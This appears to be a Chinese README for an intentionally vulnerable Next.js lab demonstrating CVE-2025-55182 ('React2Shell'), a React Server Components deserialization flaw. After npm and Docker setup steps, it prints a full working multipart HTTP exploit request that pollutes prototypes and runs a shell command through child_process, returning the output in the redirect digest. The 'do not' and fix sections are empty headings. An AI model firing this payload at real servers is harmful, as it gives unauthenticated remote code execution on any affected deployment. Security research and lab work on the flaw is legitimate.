这是 Next.js 应用程序的概念验证,受到 CVE-2025-55182(也称为 "React2Shell")的影响,这是一个 React 服务器组件中的严重远程代码执行(RCE)漏洞。
此应用程序故意包含漏洞,仅应用于:
不要:
CVE-2025-55182 影响:
该漏洞源于 React 服务器组件有效负载处理中的不安全反序列化,允许未经身份验证的攻击者通过特制的 HTTP 请求在服务器上执行任意代码。
安装依赖项:
npm install
运行开发服务器:
npm run dev
访问应用程序: 在浏览器中打开 http://localhost:3000。
构建 Docker 镜像:
docker build -t nextjs-cve-2025-55182 .
运行容器:
docker run --rm -p 3000:3000 nextjs-cve-2025-55182
访问应用程序: 在浏览器中打开 http://localhost:3000。
/):使用 React 服务器组件的简单登录表单/dashboard):登录后可访问的受保护页面此应用程序使用:
漏洞存在于 RSC 有效负载反序列化机制中,可以通过向页面路由(例如 http://localhost:3000 或 http://localhost:3000/dashboard)发送恶意 multipart HTTP 请求来利用。任何使用 React 服务器组件的页面都存在此漏洞。
可以通过向页面路由(例如 http://localhost:3000 或 http://localhost:3000/dashboard)发送特制的 HTTP 请求来利用该漏洞。该利用适用于任何使用 React 服务器组件的页面。
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
该利用直接针对页面路由——适用于 localhost:3000(主页)或 localhost:3000/dashboard(仪表板页面)。
要修复此漏洞:
此概念证明仅用于教育和安全研究目的。